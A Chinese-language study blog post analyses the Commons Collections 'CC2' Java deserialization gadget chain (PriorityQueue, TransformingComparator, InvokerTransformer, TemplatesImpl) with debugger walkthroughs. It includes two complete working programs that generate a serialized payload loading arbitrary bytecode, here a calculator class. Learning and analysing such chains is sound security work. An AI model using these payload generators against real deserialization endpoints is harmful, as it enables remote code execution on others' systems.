CC2链

学习视频:https://www.bilibili.com/video/BV1NQ4y1q7EU?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

环境搭建

和CC4一样的环境:https://yschen20.github.io/2026/01/29/CC4%E9%93%BE/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

分析链子

CC2的前面和CC4一样,从PriorityQueue#readObject开始,到TransformingComparator#compare,然后就和CC4不一样了,CC4中接下来调用的是InstantiateTransformer#transform,然后是TrAXFilter#TrAXFilter,然后是TemplatesImpl#newTransformer,而CC2调用的是InvokerTransformer#transform,接下来就有两个方向了,既可以类加载执行代码,也可以反射调用Runtime.exec执行命令

链子:

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InvokerTransform.transform
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
TemplatesImpl.TranletClassLoader.defineClass
ClassLoader.defineClass

构造链子

先是序列化和反序列化的函数:

1
2
3
4
5
6
7
8
9
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}

后面部分和CC4一样,是去调用TemplatesImpl.newTransformer,最后利用动态类加载执行代码,所以代码直接复制过来用

1
2
3
4
5
6
7
8
9
10
11
12
13
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

接下来是要用InvokerTransformer#transform去反射调用到TemplatesImpl.newTransformer

1
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

后面部分就和CC4一样:

1
2
3
4
5
TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Field sizeField = priorityQueue.getClass().getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

这里就直接用反射给size赋值的方法了,但存在一个问题,因为没有用ChainedTransformer,所以前面构造好的templates没有传入进去,最后肯定是要调用templates.newTransformer(),所以要想办法给传进去

这里可以去看PriorityQueue#siftDownUsingComparator

image-20260129205737392

这个函数中有两个地方会调用到compare方法,一共会用到三个变量:cqueue[right]x,调试一下:

image-20260129210512691

这里size=2,所以传入给siftDowni=0,第二个参数就是queue[0],也就是第一个值

image-20260129210549173

所以到了siftDown中,给siftDownUsingComparator传入的参数k=0x=null(因为还没有给queue赋值)

image-20260129210718171

所以到了siftDownUsingComparator中,child=1,而queue是为null的,所以这里c=null,然后经过一系列运算,right=2,到了第一个if判断这里,第一个条件right < size是不满足的,所以后面的条件也就不会继续判断了,所以comparator.compare((E) c, (E) queue[right])也就不会触发,但是继续往下,第二个if判断使用去调用compare方法的,只不过这里没有给queue赋值,所以两个参数都是null

image-20260129211040879

所以这里就是要找的地方,是要在这里将templates作为参数传进去的,接着就要找是要传给哪一个参数,是x还是c

继续调试就会到了TransformingComparator#compare,这里会先执行第一句代码,调用到InvokerTransform.transform,并将第一个参数obj1作为参数传进去

image-20260129214936967

在上一步中,第一个参数就是x,所以这里就是要将templates传给x变量,回头再看看x变量是什么

siftDownUsingComparatorx变量是传入的第二个参数:

image-20260129215927280

siftDown中也是传入的第二个参数:

image-20260129215955881

heapify中传入给siftDown的第二个参数就是(E) queue[i]

image-20260129220034368

因为size利用反射设置为的2,变量i经过运算后的值是0

image-20260129220203200

所以这里x=queue[0],也就是说是queue这个数组的第一个值,所以只要对这个数组的第一个值赋值为templates,就可以成功将其传入进去,然后去看queue这个变量的定义:

image-20260129220456578

是一个Object数组,这里就利用反射对其进行赋值:

1
2
3
4
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[]{templates, templates};
queueField.set(priorityQueue, queueArray);

这里第二个值不一定也是templates,因为反序列化的时候用到的是第一个值,所以第二个值可以是任意的值

image-20260129220822598

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
Field sizeField = priorityQueue.getClass().getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[]{templates, templates};
queueField.set(priorityQueue, queueArray);

serialize(priorityQueue);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

补充

在CC4中,除了使用反射对size赋值,还有一种方法是使用PriorityQueue#add方法,这里可以去看一下:

add方法中会调用offer方法,将参数e当作参数传给offer

image-20260129221359787

然后去看offer方法,注意到如果满足i==0,就会将e赋值给queue[0]

image-20260129221522465

经过上面的分析可知,就是要将构造好的templates赋值给queue[0],所以这里就可以进行利用

然后就是要看看怎么才能满足i==0,往上看i的定义是:int i = size;,而size的值本来就是0

image-20260129222101161

这里的代码逻辑是会先给将size的值传给i,然后才会执行size = i + 1,所以第一次执行到add方法的时候,就可以满足i == 0的条件,此时就可以将e传给queue[0],这里的e就是传给add方法的参数,所以第一次在调用add方法的时候,就可以传入templates,至于第二次就无所谓了,代码实现就是像CC4的写法一样,只不过传入给add的值改成templates

1
2
3
4
5
6
7
8
9
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field comparatorField = c.getDeclaredField("transformer");
comparatorField.setAccessible(true);
comparatorField.set(transformingComparator, invokerTransformer);

image-20260129223136313

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC4");
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

// TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// Field sizeField = priorityQueue.getClass().getDeclaredField("size");
// sizeField.setAccessible(true);
// sizeField.set(priorityQueue, 2);

// Field queueField = PriorityQueue.class.getDeclaredField("queue");
// queueField.setAccessible(true);
// Object[] queueArray = new Object[]{templates, templates};
// queueField.set(priorityQueue, queueArray);

priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field comparatorField = c.getDeclaredField("transformer");
comparatorField.setAccessible(true);
comparatorField.set(transformingComparator, invokerTransformer);

serialize(priorityQueue);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}


CC2链
https://yschen20.github.io/2026/01/29/CC2链/
作者
Suzen
发布于
2026年1月29日
更新于
2026年1月29日
许可协议